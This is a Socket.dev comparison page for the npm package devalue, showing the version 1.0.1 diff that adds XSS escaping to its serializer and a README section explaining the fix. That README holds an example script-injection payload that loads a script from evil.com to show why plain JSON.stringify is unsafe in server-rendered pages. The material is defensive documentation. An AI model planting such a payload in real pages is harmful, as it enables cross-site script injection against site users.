Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

devalue

Package Overview
Dependencies
Maintainers
1
Versions
28
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

devalue - npm Package Compare versions

Comparing version 1.0.0 to 1.0.1

6

CHANGELOG.md

@@ -1,5 +0,9 @@

# TODO changelog
# devalue changelog
## 1.0.1
* XSS mitigation ([#1](https://github.com/Rich-Harris/devalue/issues/1))
## 1.0.0
* First release

23

dist/devalue.esm.js
var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_$';
var reserved = /^(?:do|if|in|for|int|let|new|try|var|byte|case|char|else|enum|goto|long|this|void|with|await|break|catch|class|const|final|float|short|super|throw|while|yield|delete|double|export|import|native|return|switch|throws|typeof|boolean|default|extends|finally|package|private|abstract|continue|debugger|function|volatile|interface|protected|transient|implements|instanceof|synchronized)$/;
function getName(num) {
var name = '';
do {
name = chars[num % chars.length] + name;
num = ~~(num / chars.length) - 1;
} while (num >= 0);
return reserved.test(name) ? name + "_" : name;
}
var unsafe = /[<>\/\u2028\u2029]/g;
var escaped = { '<': '\\u003C', '>': '\\u003E', '/': '\\u002F', '\u2028': '\\u2028', '\u2029': '\\u2029' };
function devalue(value) {

@@ -140,8 +134,19 @@ var repeated = new Map();

}
function getName(num) {
var name = '';
do {
name = chars[num % chars.length] + name;
num = ~~(num / chars.length) - 1;
} while (num >= 0);
return reserved.test(name) ? name + "_" : name;
}
function isPrimitive(thing) {
return Object(thing) !== thing;
}
function escape(char) {
return escaped[char];
}
function stringifyPrimitive(thing) {
if (typeof thing === 'string')
return JSON.stringify(thing);
return JSON.stringify(thing).replace(unsafe, escape);
if (thing === void 0)

@@ -148,0 +153,0 @@ return 'void 0';

@@ -9,10 +9,4 @@ (function (global, factory) {

var reserved = /^(?:do|if|in|for|int|let|new|try|var|byte|case|char|else|enum|goto|long|this|void|with|await|break|catch|class|const|final|float|short|super|throw|while|yield|delete|double|export|import|native|return|switch|throws|typeof|boolean|default|extends|finally|package|private|abstract|continue|debugger|function|volatile|interface|protected|transient|implements|instanceof|synchronized)$/;
function getName(num) {
var name = '';
do {
name = chars[num % chars.length] + name;
num = ~~(num / chars.length) - 1;
} while (num >= 0);
return reserved.test(name) ? name + "_" : name;
}
var unsafe = /[<>\/\u2028\u2029]/g;
var escaped = { '<': '\\u003C', '>': '\\u003E', '/': '\\u002F', '\u2028': '\\u2028', '\u2029': '\\u2029' };
function devalue(value) {

@@ -147,8 +141,19 @@ var repeated = new Map();

}
function getName(num) {
var name = '';
do {
name = chars[num % chars.length] + name;
num = ~~(num / chars.length) - 1;
} while (num >= 0);
return reserved.test(name) ? name + "_" : name;
}
function isPrimitive(thing) {
return Object(thing) !== thing;
}
function escape(char) {
return escaped[char];
}
function stringifyPrimitive(thing) {
if (typeof thing === 'string')
return JSON.stringify(thing);
return JSON.stringify(thing).replace(unsafe, escape);
if (thing === void 0)

@@ -155,0 +160,0 @@ return 'void 0';

{
"name": "devalue",
"description": "Gets the job done when JSON.stringify can't",
"version": "1.0.0",
"version": "1.0.1",
"repository": "Rich-Harris/devalue",

@@ -6,0 +6,0 @@ "main": "dist/devalue.umd.js",

@@ -12,2 +12,3 @@ # devalue

Try it out on [runkit.com](https://npm.runkit.com/devalue).

@@ -17,2 +18,3 @@ ## Goals:

* Performance
* Security (see [XSS mitigation](#xss-mitigation))
* Compact output

@@ -44,2 +46,49 @@

## XSS mitigation
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
```js
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
```
Which would result in this:
```html
<script>
// NEVER DO THIS
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>
```
Using `devalue`, we're protected against that attack:
```js
const template = `
<script>
var preloaded = ${devalue(state)};
</script>`;
```
```html
<script>
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>
```
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
```js
const value = eval('(' + str + ')');
```
## See also

@@ -46,0 +95,0 @@

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc